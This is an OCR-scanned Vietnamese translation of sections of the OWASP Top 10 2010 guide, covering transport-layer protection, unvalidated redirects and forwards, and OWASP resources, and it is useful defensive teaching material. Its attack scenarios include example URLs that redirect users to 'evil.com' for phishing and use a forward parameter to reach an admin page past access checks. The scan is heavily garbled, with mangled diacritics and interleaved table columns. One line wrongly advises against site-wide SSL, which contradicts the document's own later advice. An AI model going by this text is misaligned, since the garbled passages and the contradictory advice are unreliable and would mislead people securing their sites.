
Dt liéu va tai khoan

do d6 khéng bao vé di liéu va “dinh danh  cia quan tri bi xam nhap, trén nhirng kénh
phién lam viéc.Ching chi hét han hoic
duoc cai dat khong dung cling co Ehé’du’o‘c bi 16 thong tin. Viéc cai
dung.Phat hién sai sot co ban |a dé dang.
lwgng thich hop trong  Chi can quan sat luvu lwgng mang cla
trang web. D8i vdi nhirng 16i phirc tap hon  c6 thé bj tdn cong MITM  cau chirng thuc 2
can phai kiém tra viéc thiét k& cac ing
dung va cau hinh cac may chd .

truyén dan vé
phuong dién bao
mat, nhu cau toan
ven dit liéu, va nhu

toan bo web site cé thé

ddt Secure Socket Layer
(SSL) khéng dung ciing

(Man in the Middle) va  dau.
phishing dé dang hon.

T6i ¢6 mac phai 16i?

Céch t6t nhat dé tim ra néu mot ¢ng dung cé a0 bdo vé & I6p van

chuyén la kiém tra nhitng di€ém sau:

1. SSL dwoc st dung dé bao vé tat ca lvu lugng lién quan dén xac
thye.

2. SSL duoec sir dung cho tat ca cac tai nguyén trén cac trang riéng

va dich vu. Diéu nay bao vé tat ca dit liéu va ma cda phién lam

viéc da dwoc trao d6i. Khdng nén diing SSL cho toan web vi né

gay ra canh bdo cho ngudi dung trong trinh duyét, va cé thé

lam 16 m3 phién lam viéc cla ngudi dung.

Chi hd tro nhitng thuat todn manh.

4. Tat ca cdc ma phién cé st dung thudc tinh bao mat dé trinh
duyét khéng bao gi® van chuyén ching & dang khéng ma hoa

5. Céacchirng chi may chl 1a hgp phap va dugc cdu hinh dung cho
may chi dé. Diéu nay bao gdm viéc cac chirng chi d6 dugc ban
hanh b&i moét cdng ty phat hanh dy quyén, chuwa hét han, chua
bi thu héi, va né ding vdi tat ca cac tén mién ma trang web st
dung.

w

Lam cach nao de chong?

Cung cap viéc bdo vé cac |ép van chuyén mot cach thich hop cé thé

anh hudng dén thiét ké trang web. D& dang nhat dé yéu ciu SSL cho

toan b trang web. Vi ly do hiéu suat,mét sd trang web chi s&t dung

SSL cho trén cac trang riéng. Mot sé khéc chi sir dung SSL cho cac

trang "quan trong" , nhuwng diéu nay cé thé phoi bay ma cla phién

lam viéc “sesson id” va nhitng dit liéu nhay cdm khac. & muc tSi
thiéu, thuc hién tat ca cac cong viéc sau:

1.  Yéu cau SSL cho tét ca céc trang nhay cam. Nhirng yéu cau
khéng qua SSL d&n nhirng trang nay nén duoc chuyén huéng
dén céc trang SSL.

2. St dung thudc tinh “secure” cho cac cookie nhay cam.

3. Cauhinh SSL chi hé trg nhitng thuin todn manh (vi du: tudn thd
FIPS 140-2).

4. Dam bao chirng chi SSL hop 1€, chua qué han, khéng bi thu hoi
va phu hop v&i tén mién cla trang web.

5. Cackét n6i & dau cudi cling nén str dung SSL hodc céc cong
nghé ma hoa khac.

Vi du tinh huong tan cong

Kich ban 1: M6t trang web khéng sl dung SSL cho tat ca cac trang
yéu cau xac thyc.Ké tan céng chi don gian 1a theo di lvu lugng
mang, va quan sat cookie phién lam viéc session cia mét nan nhan
da chirng thuc. Sau d6 ké tan cdng st dung lai cookie nay va chiém
phién lam viécsession cla nguoi st dung.

Kich ban 2:M6t trang web cé chirng chi SSL dugc cdu hinh khéng
dung, gy canh bao cua trinh duyét cho nguoi st dung. Nguoi dung
phai chap nhan canh bao d6 va tiép tuc, dé sir dung trang web. Diéu
nay lam cho nguoi sir dung quen véi canh bdo nhu vay. Ké tan cdng
Phishing thu hut khach hang clha trang web t&i moét trang web tuong
tw ma khéng cd gidy chirng nhan hop 18, tao ra canh bao tuong tu &
trinh duyét. Vi nan nhan da quen véi cdnh bao nhu vy, ho tiép tuc
sir dung céc trang web Iira d3o, va lam 16 mat khau hodc cac dir liéu
ca nhan khac.

Kich ban 3:Mét trang web don gian chi st dung tiéu chuidn ODBC /
JDBC cho céc két ndi co s& dit liéu. Tat ca lvu lvgng & dinh dang
khong dugc ma hoa.

A ?
Nguon tham khao
OWASP
DE c6 thém thong tin ddy dl vé nhitng yéu cau va van dé can
tranh, xem ASVS requirements on Communications Security

(V10).
* OWASP Transport Layer Protection Cheat Sheet

* OWASP Top 10-2007 on Insecure Communications

* OWASP Development Guide: Chapter on Cryptography
* OWASP Testing Guide: Chapter on SSL/TLS Testing
Nguon khac

* CWE Entry 319 on Cleartext Transmission of Sensitive
Information

* SSL Labs Server Test
* Definition of FIPS 140-2 Cryptographic Standard
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http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
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http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
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Hwéng
tan cong

Kha nang khai
thac
Trung binh

Tac nhan de doa

Khoéng phé bién

Hay xem xét bat c
ai c6 thé lra ngudi
dung cla ban gi chirng thye va lira nan
yéu cau dén trang nhan nhdp chudt vao.
web cla ban. Bat ky Kha ning nan nhan sé
trang web hoac
ngudn cap dit liéu
HTML khac ma
nguwdi dung cia ban  tdn céng nhdm vao
sir dung cd thé 1am
diéu nay.

nhap chuét vao rat cao vi chon trang dich.
d6 la duong dan dén

budc kiém tra bdo mat.  cdac trang ndi bo.
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Toi c6 mac phai loi?

Cach t&t nhat dé xac dinh mot chuong trinh ¢ 16i chuyén hudng

hodc chuyén tiép thiéu chirng thuc a

1. Xem lai cdc m3 ngudn cé str dung cac chuyén hudng hodc
chuyén tiép . DGi véi mdi lan st dung, xac dinh néu cac URL
muc tiéu dugc chira trong gid tri tham sé nao khong. Néu cé,
céc tham sé nay chi dwoc chira chi mét diém dén dwoc cho
phép, hodc thanh phan clia mot diém dén.

2. Ngoaira, “spider” cac trang web dé& xem néu né tao ra bat ky
chuyén hudéng (HTTP ma phan hdi 300-307, dién hinh 13 302).
Nhin vao céc théng s6 duwoc cung cap trudc khi chuyén huéng
dé xem ching cé xuat hién nhw mdt URL dén hodc mét phan
clia URLnhu vay. N&u c6, thay d6i URL dich va quan sat xem céc
trang web cé chuyén huwéng dén cac dich méi.

3. N&u mi chuong trinh khong cé san, kiém tra lai cac thong s6 dé
xem chung cé phai la mét phan clia mét trang chuyén huéng
ho&c chuyén tiép URL dich. Kiém tra lai cac théng s6 d6.

Mdrc doé phd bién

Ké tdn céng tao ra nhitng  Céc (rng dung thudng xuyén chuyén huéng
duong dan lién két thisu  ngudi dung dén cdc trang khac, hodc sir dung
chuyén ti€p ndi bdé mot cach twong tw. Do khi
cac trang dich duogc quy dinhtrong mét tham
8 thi€u thdm tra, cho phép ké tan coéng lva

Phét hién chuyén huéng thiéu tham tra khéng  tin nhay cdm khac.
mot trang web hop 18. K& kho. Hay tim kiém chuyén hwéng ma ban cé
thé thiét |ap toan bd URL. Chuyén tiép thiéu
chuyén tiép dé vugt qua  chirng thuc thi khé hon, vi ching hwéng vao

Chuyén huéng va chuyén tiép
thiéu tham tra

Anh huond Anh hwéng
ki thuat Kinh doanh

Anh hwéng
Trung binh

Nhitng Chuyén huwéng Hay xem xét gia tri
nhu vay cé thé cd kinh doanh ctia viéc
gang dé cai dat phan  duy tri su tin tuwdng
mém doc hai hoaclira  cla ngudi dung.
nan nhankhai bdo mat Diéu gi xay ra néu
khau hodc cacthéng  ho bi nhiém bdi cac
phan mém déc hai?
Né&u ké tan cong cé
thé truy cap cac
chirc nang n6i bd
thi sao?

Chuyén tiép khéng an
toan cé thé cho phép
VUt qua cac blroc
kiém tra truy cap.

Lam cach nao de chong?

An toan s dung céc chuyén huéng va chuyén tiép cé thé duoc thuc

hién trong mét s6 céch sau day :

1. Don gian chi can tranh sir dung chuyén huwéng va chuyén tiép.

2. Né&u slr dung, tranh sir dung tham sé clia ngudi dung cho viéc
xac dinh diém dén. Diéu nay thuong cé thé thuc hién duoc.

3. Né&u viéc str dung tham s6 cho diém dén khdng thé tranh khdi,
dam bao gia tri cia tham s& la hgp 1é va dung quyén cla ngudi
dung.

Tham s6 diém d&n nén la mét “mapping value”, hon 1a URL hoac |a

mot phan cla URL thuc, va chuong trinh & phia may chi (server side

code) sé dich “this mapping” sang URL dich.

Ung dung c6 thé str dung ESAPI dé ghi dé 1én method sendRedirect()

dé dambao tat cd cac chuyén hudng cac diém dén duoc an toan.

Tranh sai sot nhu vay la cuc ky quan trong vi ching [a mot muc tiéu
wa thich ctia nhitng ké gid mao c8 gang dé cé duoc long tin cla
nguoi dung.

Vi du tinh hudng tan cong

Kich ban 1:'ng dung nay cé mot trang goi la "redirect.jsp" ma
c6 mdt tham sd duy nhat cé tén 13"url". Ké tdn cdng tao mot
URL déc hai dé hwdng ngudi dung dén mot trang web doc hai
dé thyc hién lira dao (phishing) va cai dat cdc phan mém doc
hai.

. http://www.example.com/redirect.jsp?url=evil.com

Kich ban 2:U'ng dung s dung chuyén tiép (forward) dé di
chuyén yéu cau (route request) giita cac bo phan khac nhau
clia trang web. Dé tao diéu kién nay, mot s6 trang st dung
mot tham s6 dé chi ra noi ngudi s dung phai dwoc glri néu
giao dich thanh céng. Trong trudng hop nay, ké tan cong tao
ra mot URL s& vuot qua kiém tra truy cap cla ¢ng dung va
sau do6 chuyén tiép ké tdn cdng vao nhirng chirc ndng quan tri
binh thwdng khéng thé truy cap duoc.
http://www.example.com/boring.jsp?fwd=admin.jsp

Nguon tham khdo
OWASP
* OWASP Article on Open Redirects

* ESAPI SecurityWrapperResponse sendRedirect() method

Nguén khac
* CWE Entry 601 on Open Redirects
* WASC Article on URL Redirector Abuse

* Google blog article on the dangers of open redirects
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3D Budc tiép theo cho lap trinh vién

Thiét I13p va str dung mét tap ho'p nhirng chwong trinh quan ly an ninh

Cho du ban la ngudi mdéi biét d€n bao mat trng dung web hodc d3 rat quen thudc véi nhitng rdi ro nady, cdng viéc san xuat moét
&ng dung web mdi an toan hodc sira chita mot (rng dung hién cé thé 1a diéu khéng dé dang

Nhiéu nguén OWASP mién phi va mé dang c6 san.

D& gilip cac t6 chirc va 1ap trinh vién giam thiéu rli ro bdo mat ng dung cla ho mot cach hiéu qua vé chi phi OWASP d3 xay dung
nhiéu ngudn mé va mién phi ma ban cé thé sir dung dé giai quyét van dé bao mat ng dung trong té chirc clia ban. Sau day la
mot s6 trong nhidu tai nguyén OWASP d3 san xuat dé gitip cac t6 chirc san xuét cac ¢ng dung web an toan. O trang tiép theo,
chiling téi trinh bay thém vé tai nguyén cila OWASP cé thé gilip cac t6 chirc trong viéc xac minh tinh bao mat cla cac (rng dung

cla ho.

Yéu ciu vé
bao mat cho
ng dung:

Kién tric cla
bdo méat cho
wng dung:

Quan ly an
ninh tiéu
chuan

Bao dam an
toan v()gg
phat trien

Gido duc vé
bao mjt irng
dung

*D& san xuat mdt rng dung web an toan, ban phai xac dinh dinh nghia vé an toan cho &ng dung
dé. OWASP khuyén khich ban st dung (rng dung Application Security Verification Standard
(ASVS), nhu mot hudng dan cho viéc thiét 1ap cac yéu cau an ninh cho cac ing dung clia ban.
Néu ban dang “outsource”, hdy xem xét vé hop ddng trong van dé bado mat & phan phu luc
(OWASP Secure Software Contract Annex).

ethay vi cAp nhat cdng nghé bao mat vao cac (rng dung cla ban, thiét ké bao mat ngay tir dau
hiéu qua kinh t& hon nhi‘éy. OWASP d& nghi OWASP Developer’s Guide, nhw [a mét diém khai
dau tot dé duwoc hudng dan vé cach thiét k& bao mat trong tir dau.

*Xay dung kiém soat an ninh manh mé& va cé thé sir dung |3 déc biét kho khan. Cung cap 1ap trinh
vién v&i mot bd tiéu chudn an ninh kiém soat hoan toan don gian héa viéc phat trién céc rng
dung an toan. OWASP khuyén khich sir dung OWASP Enterprise Security API (ESAPI) project lam
md hinh cho céc APl bdo mat can thiét dé san xua t cac 'ng dung web an toan. ESAPI cung cap
trién khai tham chiéu trong Java, .NET, PHP, Classic ASP, Python, Cold Fusion.

*PE& cai thién qua trinh t8 chirc clia ban sau khi xay dung céc (rng dung nhu vady,OWASP dé nghi
OWASP Software Assurance Maturity Model (SAMM). M6 hinh nay gilip céc t6 chirc xay dung va
thuc hién mot chién lwoc cho an ninh phan mém duoc thiét ké dé d6i mat véi nhirng rdiro cu
thé t6 chire cla ho.

eCéc dy an vé gido duc cia OWASP OWASP Education Project cung cap tai liéu dao tao dé gitp
gido duc phat trién vé bdo méat (rng dung web va d3 bién soan mét danh sach ciia OWASP
Educational Presentations. B6i véi tim hiéu thuc té vé cac 16 hdng, hay thir OWASP WebGoat.
D& cap nhat théng tin, hdy dé€n mot OWASP AppSec Conference , OWASP Hdi nghi Dao tao, hoic
céc cudc hop cla té chirc cia OWASP tai dia phuwong OWASP Chapter meetings.

C6 thém nhiéu tai liéu cia OWASP s3n c6 dé stir dung. Xin vui long truy cap vao trang du an OWASP, trong dé liét ké tat ca cac du
an OWASP, organized by the release quality of the projects in question (Release Quality, Beta, or Alpha). Hau hét cdc OWASP tai
nguyén cé san trén wik clia chiing t6i, va nhiéu van ban OWASP c6 thé dwoc dét hang ban in.
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SAVAN Danh cho ngudi kiém soat

Pé& xac minh sy an toan cia mét tng dung do chinh ban phat trién hodc mét (rng dung ban mudn mua, OWASP khuyén ban nén xem lai
code clia rng dung (néu cd) va thir nghiém tinh kha thi cda &rng dung. OWASP khuyén ban nén dung mot hé théng két hop cla nhiéu
tang bdo mat cing mét luc va thyc hién thir nghiém tham nhap vao (rng dung bat cr khi nao cé thé, viéc lam nay cho phép ban tan dung
nhirng th& manh cuta ca hai phwong phép, va hai phuong phap nay cling s& ti€p can bé sung cho nhau. Céng cu tro gitup qua trinh xac
minh cé thé cai thién tinh hiéu qua cia mdt chuyén gia phan tich. Cong cu dénh gia cia OWASP dugc phat trién véi muc dich chinh trg
gilip mét chuyén gia lam viéc hiéu qua hon, thay vi tw ddng hda qua trinh phan tich &ng dung.

Tiéu chuan hoéa lam thé nao dé ban xdc minh dwoc tinh bado mat ciia mot ¢ng dung web: D& gilip cc t6 chirc phat trién tinh dong bo va
moét quy dinh nghiém ngat khi ddnh gid si an toan cla céc (rng dung web, OWASP d3 cho ra doi Application Security Verification

Standard (ASVS).

Tai liéu nay xac dinh mat tiéu chuan kiém dinh t6i thi€u daéi véi viéc thwe hién danh gia bdo mat rng dung web. OWASP khuyén ban
nén st dung ASVS nhu mot ban hudng dan, né khong chi hwéng dan ban nhitrng gi can tim khi xac minh tinh bdo mat cia mot rng dung
web, ma con cé ca ki thuat thich hop nhat dé sir dung, va gitp ban xac dinh va chon mét mirc d6 nghiém ngét khi xac minh tinh an ninh
clia mot tng dung web. OWASP ciing khuyén ban st dung ASVS dé cé thé xac dinh va lyc chon dich vu dénh gid rng dung web mua tir
mot nha cung cdp bén thi ba.

B cong cu danh gia: OWASP Live CD Project 13 t&ng hop mot s6 ngudn cdng cu an ninh m& t6t nhat vao mot méi truvdng cé thé ty khoi

doéng. Nhitng nha phat trién web, nhitng ngudi thir nghiém, va cac chuyén gia bao mat cé thé khéi dong tir dia CD Live va ngay lap tirc
truy cap vao mot bd kiém tra bao mat hoan chinh. Ba CD nay khéng yéu cau bat cir mot cai dat hodc mot cdu hinh may nao dé van
hanh.

Kiém dinh ma nguon Kiém tra an ninh va tham nhap
Kiém dinh m3 ngudn 13 cach 1am hiéu qua nhat dé xac minh Kiém tra cac (rng dung: OWASP cung cdp Hudng dan kiém
mot tng dung cé dugc an toan hay khong. Thir nghiém chi cé tra (Testing Guide) dé gilp cac lap trinh vién, ngudi kiém tra
thé chirng minh dwoc tinh khong an toan cla ng dung. (tester), va cac chuyén gia bo mat (rng dung hiéu lam thé
Ra soat ma ngudn: cling v&oi OWASP Developer’s Guide va nao dé kiém tra an ninh cta cac ¢ng dung web mot cac hiéu
OWASP Testing Guide, OWASP d3 cho ra doi ban hudng dan qua va chinh xac. Hwdng dan nay rat rong, trong dé cé hang
OWASP Code Review Guide d& cac nha phat trién va cac chuc nguoi dong gop, cung cép nhiéu cha dé vé kiém tra bao
chuyén gia bao mat trng dung hiéu duoc tim quan trong clia mat cla &ng dung web.. Ciing nhu kiém dinh ma ngudn cé
viéc ra sodt m3 s trong viéc danh gia tinh bdo mat clia mot nhirng diém manh riéng, kiém tra bao mat ciing vay. N6 rat
(rng dung mat cach hidu qua nhat. Tai liéu cé bao gdbm nhiéu hap dan khi ban c6 thé chirng minh mét ung dung la khong
van d& bao mat &ng dung web, nhu L&i Nhiing M3, 1am cho an toan bang cach khai thac chinh nhirng 16i bdo mat cla trng
viéc tim ki€ém thong qua danh gia m3 d& dang hon 1a thir dung do . Ngoai ra con c6 nhiéu van dé bdo mat, ddc biét la
nghiém bén ngoai. tat ca cdc bado mat clia co s& ha tAng cua rng dung, khéng
Cong cu ra soat ma ngudn: OWASP d3 duoc thuc hién mét sd thé thdy duoc néu chi kiém dinh md ngudn, bdi vi nhitng
cong viéc day htra hen trong linh vuc hd tro cac chuyén gia khong chi (rng dung cung cdp cho an ninh cho chinh né.
phan tich m3 thyc hién, nhung nhitng cong cu nay van dang
trong giai doan dau cla ho. Cac tac gia clia nhitng cdng cu nay Cong cy kiém tra tham nhéap: WebScarab, mét trong nhitng
str dung chuiing hang ngay khi thyc hién danh gia ma an ninh cong cu duogc sir dung rong rai nhat trong s6 cac dv an
clia ho, nhung khéng phai 13 chuyén gia c6 thé tim thay nhitng OWASP, la mét web proxy. N6 cho phép mét nha phan tich
cong cu nay hoi kho st dung. Chiing bao gdm CodeCrawler, bao mat dirng mot yéu cau rng dung web, tim ra (ng dung
Orizon, and 02. hoat ddng nhu thé nao, va sau dé cho phép nha phan tich
glri yéu cau kiém tra d& xem liéu (rng dung cé tra 1&i mét
cach an toan. Cong cu nay dic biét hiéu qua trong viéc ho tro
mot nha phan tich trong viéc xac dinh 16 hdng XSS, chirng
thuc sai sét, va kiém tra truy cap sai sot.
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"X Danh cho cic td chirc

Bat dau Chwong trinh Bao mat irng dung ngay bay gi¢

Ung dung bao mat khong con la mot su lya chon. Gilra sy tdng cwdng clia cac cudc tan cong va ap luc tir cdc quy dinh, cac t6
chirc phai thiét 1ap mot co ché hiéu qua dé dam bao bao mat cho cac ing dung cla ho. V&i mét s6 lwvgng ddng kinh ngac cla cac
(ng dung va ma dang trong qud trinh s dung, nhiéu t& chirc dang vat va dé xi ly lvgng 16 héng bao mat khéng 16. OWASP
khuy&n cdo cac td chirc thiét lap mot chwong trinh bao mat ¢ng dung dé cé duoc cai nhin sau sic va cai thién bao mat mot cach
toan dién. Chuong trinh bado mat (rng dung doi hoi nhiéu bd phan khac nhau cia mét t6 chirc lam viéc véi nhau hiéu qud, bao
gdm ca bd phan bao mat va kiém dinh (audit), phat trién phan mém, kinh doanh va quan ly diéu hanh. N6 doi hdi bao mat phai
minh bach, dé nhitng ngudi tham gia vao chwong trinh c6 thé thay va hiéu tinh hinh bdo mat cla cac ¢ng dung cla t8 chirc/cong
ty. N6 ciing doi hoi phai tap trung vao cac hoat ddng va két qua ma thuc sy gitp cai thién an ninh doanh nghiép bang cach gidm

rdi ro mot cach kinh t& nhat. Mét s6 hoat déng quan trong trong chwong trinh bao méat &ng dung hiéu qua bao gom:

—————

Bt dau

Cach thirc
dwa trén
phan tich rai
ro:

Kich hoat v&i
mot co’ s&
virng manh

Két ho'p bao
mat vao
nhirng tién
trinh c6 san

Cung cap tam
nhin quan ly

» Thanh l1ap mot chuong trinh bao méat (rng dung(application security program) va thic day sw
chdp nhan chuong trinh

e Thuc hién phan tich so sanh t6 chirc clia ban véi cac cdng ty tuong tw dé xac dinh cac Iinh vuc
can tang cudng va ké hoach cai tién thuyc thi.

e C6 dugc quan ly phé duyét va thiét 1ap mot chién dich ddy manh nhén thitc vé bao mat &ng
dung cho toan bé t6 chirc CNTT.

eXac dinh va phan loai cdc danh muc ¢ng dung theo khia canh rii ro

*Tao ra mot mo h‘|r1h phan tich rdi ro dé do dac va phan loai cic (t‘ng dung trong danh muc ctia ban.
Thiét 1ap huéng dan an ninh nham dinh danh mot cach can than cdc mirc d6 va yéu cau nghiém ngat

*Thiét [ap mo6t md hinh rdi ro théng dung véi mot tap hop nhitng kha ndng say ra va céc su t6n hai dé
thé hién kha nang chiu dwng rii ro clia t6 chirc

Trién khai mot tap hop nhitng nguyén tic luat 1é ma cac van dé an ninh ¢ng dung phai dwoc tuan tha.

*Dinh nghia mét tap hop chung nhitng hoat ddng téi si dung ki€ém sodt an ninh ma cé thé hé trg
nhitng diéu luat va cung cap hudng dan thiét k& va phat trién ching

Trién khai mot chwong trinh dao tao an ninh ng dung védi cac doi hdi khac nhau tly thudc vao vai tro
nhiém vu va chu dé

*Dinh nghia va két hgp nhitng hoat déng trién khai va kiém tra an ninh vao nhitng tién trinh phat trién
va hoat déng. Vi du: Attack Vectors Modeling, Secure Design & Review, Secure Code & Review, Pen
Testing, Remediation, etc.

eCung cap nhitng chuyén gia vé tirng chli dé va dich vu hd tro cho nhdm phét trién va du én

*Quan ly v&i cac sb liéu. Cai tién va dua ra cac quyét dinh tai trg dwa trén cac s6 liéu va phan tich dir
lieu tim dugc. S6 liéu bao gdm tuan thi cac thuc hanh bao mat / hoat dong, tim ki€m 16 héng, giam
nhe 16i, bao vé trng dung, vv

«Phan tich di¥ liéu tir cac hoat déng thuc hién va kiém tra dé tim nguyén nhan gdc ré va mo hinh 16i dé
tim ra chién lwoc va cai tién hé théng trén toan doanh nghiép.
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838 Ghichuvéruiro

Rai ro, khéng phai diém yéu

Méc du phién ban truwdrc cia OWASP Top 10 tap trung vao viéc xac dinh céc "16 hdng" phé bién nhat, cac tai liéu nay ludn
luén duoc sdp x&p xung quanh cac rdi ro. Didu nay gay ra sw nham |an dé hiéu ctia nhitng ngudi tim kiém maot phan loai
diém yéu kin. Diéu nay cap nhat clarifiesthe rii ro tap trung trong Top 10 bang cach rd rang hon vé maéi de doa dai ly, céc
cudc tan cong, diém yéu, tac dong k§ thuat, va cac tac dong kinh doanh két hop dé tao ra rdi ro.

Dé lam duwoc diéu dé ching t6i phat trién mét phuong phap danh gid rdi ro cho TOP 10 duwa vao OWASP Risk Rating
Methodology. V&i mdi muc trong Top 10, ching téi thiét 1ap s rdi ro dién hinh ma mdi diém yéu ¢ thé tao ra cho tng
dung web bang cach xem xét nhitng kha ndng xay ra va hau qua ctia mdi diém yéu. Chung t6i xép loai Top 10 dua vao
nhi*ng diém y&u ma tao ra rui ro dang ngai nhat cho moét (rng dung.

OWASP Risk Rating Methodology dinh nghta nhitng y&u t6 cé thé gitp tinh toan rdi ro clia mot 16 héng dwoc xac dinh. Tuy
nhién Top 10 luén phai hwéng dén s téng quat hon 13 di vao chi tiét trong mdt wng dung thuc té. Thanh ra ching toi
khoéng bao gidr c6 thé dat duoc sy chinh xac trong tinh todn nhu ngudi chi cla hé théng khi tinh todn rdi ro cho (ng dung.
Chung t6i khéng biét (rng dung va dit liéu cla ban c6 mirc dd quan trong nhu thé ndo, nhitng nhan t& gy hai cé thé hay
céch thirc ma hé théng clia ban duoc xay dwng va hoat déng.

Phuong phap luan cla ching t6i bao gdm ba y&u t6 kha nang cho mdi yé&u diém (ty I& hién nhiém, kha nang phat hién, va
kha nang khai thac) va mot yéu t6 tac dong (ky thuat). Sw phd bién cla y&u diém |a mot yéu t6 ma ban thudng khéng phai
tinh toan. Da&i vai dit liéu phd bién, ching ti d3 duoc cung cap s6 liéu thong ké ty 1é nhiém tir mot s6 t6 chire khac nhau va
chiing t6i tinh todn trung binh dit liéu ctia ho véi nhau dé dwa ra danh sach Top 10. D liéu nay sau d6 da duoc két hop véi
2 yéu t6 kia (phat hién va khai thac) dé tinh toan danh gia kha nang xuat hién cho mdi diém yéu. Diéu nay sau d6 da duoc
nhan véi tac dong k§ thuat ma ching t6i wdc tinh trung binh cho méi muc dé di d&n mot bang x&p hang rdi ro téng thé cho
mdi muc trong Top 10.

Lwu y rang phuong phap nay khong tinh d&n kha ndng xuat hién cla cac nhan t6 gy hai.Cling khong tinh dén céc chi tiét
ky thuat khac nhau lién quan dé&n (ng dung cu thé clia ban. B4t ct nhitng y&u t6 nay cé thé anh hudng dang ké kha nang
xuat hién cia mot ké tan cong tim kiém va khai thac mot 16 hdng déc biét. Danh gid nay ciing khong tinh cac tac dong thuc
t& vé kinh doanh ctia ban. T8 chirc clia ban s& phai quyét dinh cé bao nhiéu nguy co bao mat tir cac (rng dung cé thé chap
nhan dwoc. Muc dich cia OWASP Top 10 1a khéng phai dé [am phan tich rdi ro cho ban.

Hinh anh minh hoa sau day |a vi du danh gid rdi ro cho A2: XSS. Luu y rang ching tdi chon XSS vi day 1a mot 16i duy nhat cé

murc d6 phé bién rat cao, phan con lai chi la trung binh dén it phé bién.
— 7 .
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Tac nhan de doa tan cong bdo mat ky thust Kioh doanh
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Kha nang khai
thac ¢
Trung binh Trung binh
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T8 = Chi tiét vé yéu t6 ruiro

Tém tat Top 10 nhan to rdi ro

Bang sau day trinh bay tém tat ctia ndm 2010 Top 10 rdi ro vé bdo mat (rng dung,va cac yéu t6 ciu thanh ching ta da gan cho
mdi rdi ro. Nhitng yéu t6 nay duogc xac dinh dwa trén cac s6 lieu théng ké san cé va kinh nghiém ctia d6i OWASP. D& hiéu dwoc
nhi*ng rui ro nay cho mét (rng dung hay moét t8 chirc cy thé, ban phai xem xét cla cac tadc nhan rii ro va cic tdc déng kinh
doanh trong méi trwdrng dé. Ngay ca nhitng diém y&u phan mém nghiém trong khdng han tao ra mét nguy co rdi ro nghiém
trong néu khéng cé tac nhan thyc hién cac cudc tan cong can thiét hodc tac dong kinh t&€ 13 khong dang k& cho cac tai san lién

quan.
—
% Piém yéu .Anh huwénc Anh huwéng
PR A ® ot A .
2 A tan céng bao mat ky thuat inh doanh
T&c nhan

de doa

Kha nang khai fhac Mirc d6 pho bién  Kha ndng phathién Anh hwéng

Al-Injection Trung binh Trung binh _
A3-Auth’n Trung binh Trung binh Trung binh _

Trung binh

A4-DOR _ Trung binh _ Trung binh
A5-CSRF Trung binh _ _ Trung binh
A6-Config _ Trung binh _ Trung binh
A7-Crypto Kho Khong phd bién Khé _
A8-URL Access _ Khong phd bién Trung binh Trung binh
A9-Transport Kho Trung binh _ Trung binh
A10-Redirects Trung binh Khéng phd bién - Trung binh

CAc rii ro khac cé thé xem xét

Top 10 bao gdbm rat nhiéu mat, nhung cé nhirng rdi ro khdc ma ban nén xem xét va danh gid trong t6 chirc cia ban. Mot s6 trong
s6 nay c6 trong cac phién ban trwdc dé cia OWASP Top 10, va mdt s6 khdc khdng, bao gdm ca ki thuat tdn cdng mdi dang duorc
xac dinh. Cac rdi ro vé rng dung bao mat(duoc liét ké theo thir tw bang chir céi) ma ban cling nén xem xét bao gdm:

* Clickjacking (ki thuat t4n cdng vira dugc phat hién nam 2008)

* LGi xtr ly déng bd

* Tl chdi dich vu Denial of Service (Was 2004 Top 10 — Entry A9)

* That thoat thong tin va xtr Iy 16i khong ding cach Information Leakage & Improper Error Handling (2007 Top 10 — A6)

* Thiéu chéng tu déng hda Insufficient Anti-automation

* Thiéu ghi dau va kiém tra (Insufficient Logging and Accountability) (2007 Top 10 — A6)

* Thiéu bd phan phat hién va phan &ng xdAm nhap Lack of Intrusion Detection and Response

* Thiyc thi tap tin doc (Malicious File Execution) (2007 Top 10 — A3)



http://www.owasp.org/index.php/Clickjacking
http://www.owasp.org/index.php/Application_Denial_of_Service
http://projects.webappsec.org/Information-Leakage
http://www.owasp.org/index.php/Top_10_2007-A6
http://projects.webappsec.org/Insufficient+Anti-automation
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http://www.owasp.org/index.php/ApplicationLayerIntrustionDetection
http://www.owasp.org/index.php/Top_10_2007-A3

NHONG BIEU TUONG DUOI PAY THE HIEN BAN CO QUYEN:

NHO’'NG PHIEN BAN KHAC NHAU CUA QUYEN
Chia sé - sao chép, phan phdi va
chuyén nhuong

SACH NAY.

ALPHA: Siach c6 “chat lvong Alpha” |a mot badn nhdp. Noi

dung rat thdé va con duoc phat trién dé cong bo tiép. Pha tron - cho thich ¢ng cong viéc
BETA: Sach c6 “chat lugng Beta” ¢ ndi dung & muirc t6t nhat

ti€p theo. Ndi dung van s& duoc phat trién thém cho dén khi . , . . ~

duoc xuat ban. TUAN THU NHU'NG DIEU KIEN SAU:

Phan bd (Attribution): Ban phai ban bd
san pham theo cidch ma tac gid hoic
ngudi cap phép yéu cau (nhung khéng
can ho phai chirng thyc ban hodc sy st
dung cla ban véi san pham).

RELEASE: Sich c6 “chat lwgng Release” ¢ ndi dung tét nhat
trong vong phat trién va |3 san phdm cudi cung.

ban thay déi, sira chita hodc xay dung
dya trén san pham nay, ban nén phan

phdi nd lai duwéi gidy phép tuwong
RELEASE duong.

PUSLISHED

@ Chia sé nhw nhau (Share Alike): Néu

ALPHA

PUBLISHED

6 OWASP

The Open Web Application Security Project

Open Web Application Security Project (OWASP) [a mot cdng dong quéc t€ ma tap trung vao cai thién
bao mat &ng dung phan mém. Muc tiéu cha ching tdi 13 lam cho an ninh (ng dung "hién r&", gitip cho
moi ngudi va cac td chirc cd thé dua ra nhirng quyét dinh vé rii ro anh ninh &ng dung. Ai cling duoc
quyén tham gia OWASP mot cach mién phi va tat ca nhitng tai liéu cla ching toi déu 13 tai lieu mé va
mién phi. Co s& ciia OWASP 1a mét t6 chirc tir thién phi Igi nhudn nham dam bao sy ton tai va hd tro
cong viéc cla ching toi




